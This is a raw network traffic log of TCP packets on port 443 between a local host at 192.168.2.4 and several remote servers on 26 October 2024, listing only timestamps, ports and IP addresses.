Oct 26, 2024 13:45:19.849009037 CEST	49801	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:19.849064112 CEST	443	49801	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:19.849149942 CEST	49800	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:19.849234104 CEST	49801	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:19.849312067 CEST	49800	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:19.849312067 CEST	49802	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:19.849323034 CEST	49801	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:19.849328995 CEST	443	49800	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:19.849334002 CEST	443	49801	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:19.849340916 CEST	443	49802	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:19.849433899 CEST	49802	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:19.849543095 CEST	49802	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:19.849556923 CEST	443	49802	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:20.336323977 CEST	49803	443	192.168.2.4	142.250.185.228
Oct 26, 2024 13:45:20.336380959 CEST	443	49803	142.250.185.228	192.168.2.4
Oct 26, 2024 13:45:20.336488962 CEST	49803	443	192.168.2.4	142.250.185.228
Oct 26, 2024 13:45:20.336772919 CEST	49803	443	192.168.2.4	142.250.185.228
Oct 26, 2024 13:45:20.336791992 CEST	443	49803	142.250.185.228	192.168.2.4
Oct 26, 2024 13:45:21.653022051 CEST	443	49800	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:21.653125048 CEST	443	49801	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:21.653975964 CEST	49801	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:21.653985977 CEST	443	49801	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:21.654015064 CEST	49800	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:21.654038906 CEST	443	49800	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:21.654498100 CEST	49801	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:21.654503107 CEST	443	49801	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:21.654563904 CEST	49800	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:21.654596090 CEST	443	49800	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:21.655191898 CEST	443	49798	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:21.655566931 CEST	49798	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:21.655587912 CEST	443	49798	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:21.655818939 CEST	443	49799	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:21.656029940 CEST	49798	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:21.656038046 CEST	443	49798	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:21.656088114 CEST	49799	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:21.656110048 CEST	443	49799	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:21.656524897 CEST	49799	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:21.656532049 CEST	443	49799	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:21.659509897 CEST	443	49802	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:21.659908056 CEST	49802	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:21.659923077 CEST	443	49802	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:21.660263062 CEST	49802	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:21.660286903 CEST	443	49802	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:21.781717062 CEST	443	49800	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:21.781872034 CEST	443	49800	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:21.781928062 CEST	49800	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:21.782200098 CEST	49800	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:21.782219887 CEST	443	49800	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:21.782233000 CEST	443	49801	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:21.782246113 CEST	49800	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:21.782253981 CEST	443	49800	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:21.782506943 CEST	443	49801	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:21.782560110 CEST	49801	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:21.782592058 CEST	49801	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:21.782605886 CEST	443	49801	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:21.782614946 CEST	49801	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:21.782619953 CEST	443	49801	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:21.786199093 CEST	49804	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:21.786240101 CEST	443	49804	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:21.786303997 CEST	49805	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:21.786338091 CEST	49804	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:21.786339998 CEST	443	49798	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:21.786358118 CEST	443	49805	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:21.786493063 CEST	49805	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:21.786569118 CEST	443	49798	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:21.786583900 CEST	49805	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:21.786603928 CEST	443	49805	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:21.786618948 CEST	49798	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:21.786673069 CEST	49804	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:21.786688089 CEST	443	49804	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:21.786803007 CEST	49798	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:21.786818981 CEST	443	49798	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:21.786834002 CEST	49798	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:21.786842108 CEST	443	49798	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:21.789386988 CEST	49806	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:21.789397001 CEST	443	49806	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:21.789453030 CEST	49806	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:21.789582014 CEST	49806	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:21.789594889 CEST	443	49806	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:21.791590929 CEST	443	49802	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:21.791898012 CEST	443	49802	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:21.791965008 CEST	49802	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:21.792028904 CEST	49802	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:21.792045116 CEST	443	49802	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:21.792114973 CEST	49802	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:21.792123079 CEST	443	49802	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:21.792577982 CEST	443	49799	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:21.793365002 CEST	443	49799	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:21.793414116 CEST	49799	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:21.793467045 CEST	49799	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:21.793483019 CEST	443	49799	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:21.793498039 CEST	49799	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:21.793504953 CEST	443	49799	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:21.794423103 CEST	49807	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:21.794466972 CEST	443	49807	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:21.794612885 CEST	49807	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:21.794833899 CEST	49807	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:21.794858932 CEST	443	49807	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:21.796327114 CEST	49808	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:21.796344995 CEST	443	49808	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:21.796411037 CEST	49808	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:21.796516895 CEST	49808	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:21.796525955 CEST	443	49808	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:22.137589931 CEST	443	49803	142.250.185.228	192.168.2.4
Oct 26, 2024 13:45:22.167553902 CEST	49803	443	192.168.2.4	142.250.185.228
Oct 26, 2024 13:45:22.167576075 CEST	443	49803	142.250.185.228	192.168.2.4
Oct 26, 2024 13:45:22.168119907 CEST	443	49803	142.250.185.228	192.168.2.4
Oct 26, 2024 13:45:22.168533087 CEST	49803	443	192.168.2.4	142.250.185.228
Oct 26, 2024 13:45:22.168628931 CEST	443	49803	142.250.185.228	192.168.2.4
Oct 26, 2024 13:45:22.210321903 CEST	49803	443	192.168.2.4	142.250.185.228
Oct 26, 2024 13:45:22.523473024 CEST	443	49804	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:22.524116039 CEST	443	49805	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:22.524172068 CEST	49804	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:22.524199963 CEST	443	49804	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:22.524430990 CEST	49805	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:22.524465084 CEST	443	49805	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:22.524748087 CEST	49804	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:22.524753094 CEST	443	49804	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:22.524975061 CEST	49805	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:22.524981022 CEST	443	49805	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:22.535419941 CEST	443	49807	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:22.535840988 CEST	49807	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:22.535880089 CEST	443	49807	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:22.536231041 CEST	49807	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:22.536237001 CEST	443	49807	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:22.547451019 CEST	443	49808	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:22.547941923 CEST	49808	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:22.547964096 CEST	443	49808	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:22.548377991 CEST	443	49806	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:22.548407078 CEST	49808	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:22.548414946 CEST	443	49808	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:22.548681021 CEST	49806	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:22.548707008 CEST	443	49806	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:22.549005032 CEST	49806	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:22.549010992 CEST	443	49806	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:22.653738976 CEST	443	49805	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:22.653873920 CEST	443	49805	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:22.653932095 CEST	49805	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:22.653999090 CEST	443	49804	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:22.654249907 CEST	443	49804	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:22.654279947 CEST	49805	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:22.654301882 CEST	443	49805	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:22.654311895 CEST	49804	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:22.654465914 CEST	49804	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:22.654481888 CEST	443	49804	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:22.654493093 CEST	49804	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:22.654498100 CEST	443	49804	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:22.658782005 CEST	49809	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:22.658813000 CEST	443	49809	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:22.658891916 CEST	49809	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:22.659169912 CEST	49809	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:22.659188986 CEST	443	49809	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:22.659336090 CEST	49810	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:22.659373045 CEST	443	49810	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:22.659441948 CEST	49810	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:22.659524918 CEST	49810	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:22.659533024 CEST	443	49810	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:22.681070089 CEST	443	49808	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:22.681134939 CEST	443	49808	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:22.681184053 CEST	49808	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:22.681377888 CEST	49808	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:22.681376934 CEST	443	49806	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:22.681395054 CEST	443	49808	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:22.681406021 CEST	49808	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:22.681415081 CEST	443	49808	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:22.681544065 CEST	443	49806	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:22.681591034 CEST	49806	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:22.681731939 CEST	49806	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:22.681740999 CEST	443	49806	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:22.685165882 CEST	49811	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:22.685203075 CEST	443	49811	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:22.685262918 CEST	49811	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:22.685359001 CEST	49812	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:22.685391903 CEST	443	49812	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:22.685482025 CEST	49812	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:22.685523987 CEST	49811	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:22.685539961 CEST	443	49811	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:22.685653925 CEST	49812	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:22.685666084 CEST	443	49812	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:22.820938110 CEST	443	49807	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:22.821019888 CEST	443	49807	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:22.821115017 CEST	49807	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:22.821352005 CEST	49807	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:22.821372986 CEST	443	49807	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:22.821388006 CEST	49807	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:22.821394920 CEST	443	49807	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:22.824907064 CEST	49813	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:22.824939013 CEST	443	49813	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:22.825037956 CEST	49813	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:22.825222015 CEST	49813	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:22.825232983 CEST	443	49813	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:23.414155960 CEST	443	49810	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:23.415035009 CEST	49810	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:23.415055037 CEST	443	49810	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:23.415541887 CEST	49810	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:23.415549040 CEST	443	49810	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:23.416294098 CEST	443	49809	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:23.416692019 CEST	49809	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:23.416712999 CEST	443	49809	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:23.417083025 CEST	49809	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:23.417093039 CEST	443	49809	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:23.433731079 CEST	443	49812	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:23.434201002 CEST	49812	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:23.434221029 CEST	443	49812	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:23.434613943 CEST	49812	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:23.434618950 CEST	443	49812	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:23.436671019 CEST	443	49811	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:23.436966896 CEST	49811	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:23.436985970 CEST	443	49811	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:23.437462091 CEST	49811	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:23.437469959 CEST	443	49811	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:23.544985056 CEST	443	49810	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:23.545093060 CEST	443	49810	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:23.545147896 CEST	49810	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:23.545357943 CEST	49810	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:23.545371056 CEST	443	49810	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:23.545382023 CEST	49810	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:23.545387030 CEST	443	49810	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:23.548693895 CEST	49814	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:23.548727036 CEST	443	49814	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:23.548827887 CEST	49814	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:23.548975945 CEST	49814	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:23.548984051 CEST	443	49814	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:23.551080942 CEST	443	49809	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:23.551153898 CEST	443	49809	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:23.551243067 CEST	49809	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:23.551318884 CEST	49809	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:23.551318884 CEST	49809	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:23.551331043 CEST	443	49809	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:23.551341057 CEST	443	49809	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:23.553419113 CEST	49815	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:23.553446054 CEST	443	49815	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:23.553508043 CEST	49815	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:23.553675890 CEST	49815	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:23.553689957 CEST	443	49815	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:23.566731930 CEST	443	49812	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:23.567332983 CEST	443	49812	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:23.567394018 CEST	49812	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:23.567430019 CEST	49812	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:23.567444086 CEST	443	49812	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:23.567455053 CEST	49812	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:23.567470074 CEST	443	49812	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:23.569859982 CEST	49816	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:23.569926977 CEST	443	49816	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:23.570002079 CEST	49816	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:23.570141077 CEST	49816	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:23.570162058 CEST	443	49816	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:23.573661089 CEST	443	49811	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:23.573812008 CEST	443	49811	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:23.573884964 CEST	49811	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:23.573921919 CEST	49811	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:23.573931932 CEST	443	49811	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:23.573970079 CEST	49811	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:23.573977947 CEST	443	49811	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:23.576711893 CEST	49817	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:23.576739073 CEST	443	49817	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:23.576801062 CEST	49817	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:23.576939106 CEST	49817	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:23.576956987 CEST	443	49817	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:23.589745998 CEST	443	49813	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:23.590194941 CEST	49813	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:23.590214014 CEST	443	49813	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:23.590919971 CEST	49813	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:23.590925932 CEST	443	49813	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:23.730685949 CEST	443	49813	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:23.730753899 CEST	443	49813	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:23.730801105 CEST	49813	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:23.731004953 CEST	49813	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:23.731019974 CEST	443	49813	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:23.731034040 CEST	49813	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:23.731039047 CEST	443	49813	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:23.733901024 CEST	49818	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:23.733984947 CEST	443	49818	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:23.734077930 CEST	49818	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:23.734217882 CEST	49818	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:23.734252930 CEST	443	49818	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:23.816715956 CEST	49819	443	192.168.2.4	172.202.163.200
Oct 26, 2024 13:45:23.816795111 CEST	443	49819	172.202.163.200	192.168.2.4
Oct 26, 2024 13:45:23.816903114 CEST	49819	443	192.168.2.4	172.202.163.200
Oct 26, 2024 13:45:23.817245007 CEST	49819	443	192.168.2.4	172.202.163.200
Oct 26, 2024 13:45:23.817277908 CEST	443	49819	172.202.163.200	192.168.2.4
Oct 26, 2024 13:45:24.274283886 CEST	443	49815	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:24.274960995 CEST	49815	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:24.274993896 CEST	443	49815	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:24.275634050 CEST	49815	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:24.275640965 CEST	443	49815	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:24.303163052 CEST	443	49816	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:24.303802013 CEST	49816	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:24.303819895 CEST	443	49816	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:24.304336071 CEST	49816	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:24.304341078 CEST	443	49816	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:24.304553032 CEST	443	49814	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:24.304817915 CEST	49814	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:24.304862022 CEST	443	49814	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:24.305203915 CEST	49814	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:24.305213928 CEST	443	49814	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:24.328898907 CEST	443	49817	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:24.329778910 CEST	49817	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:24.329818010 CEST	443	49817	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:24.330261946 CEST	49817	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:24.330270052 CEST	443	49817	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:24.402944088 CEST	443	49815	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:24.403189898 CEST	443	49815	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:24.403270960 CEST	49815	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:24.403362989 CEST	49815	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:24.403379917 CEST	443	49815	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:24.403393984 CEST	49815	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:24.403399944 CEST	443	49815	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:24.406898975 CEST	49820	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:24.406929016 CEST	443	49820	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:24.407022953 CEST	49820	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:24.407200098 CEST	49820	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:24.407216072 CEST	443	49820	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:24.433227062 CEST	443	49816	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:24.433310986 CEST	443	49816	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:24.433439970 CEST	49816	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:24.434031963 CEST	49816	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:24.434052944 CEST	443	49816	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:24.434066057 CEST	49816	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:24.434072971 CEST	443	49816	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:24.436486959 CEST	443	49814	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:24.436686993 CEST	443	49814	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:24.436764002 CEST	49814	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:24.437310934 CEST	49814	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:24.437311888 CEST	49814	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:24.437328100 CEST	443	49814	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:24.437335968 CEST	443	49814	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:24.439486980 CEST	49821	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:24.439538956 CEST	443	49821	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:24.439635038 CEST	49821	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:24.441730022 CEST	49822	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:24.441749096 CEST	443	49822	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:24.441822052 CEST	49822	443	192.168.2.4	13.107.246.51
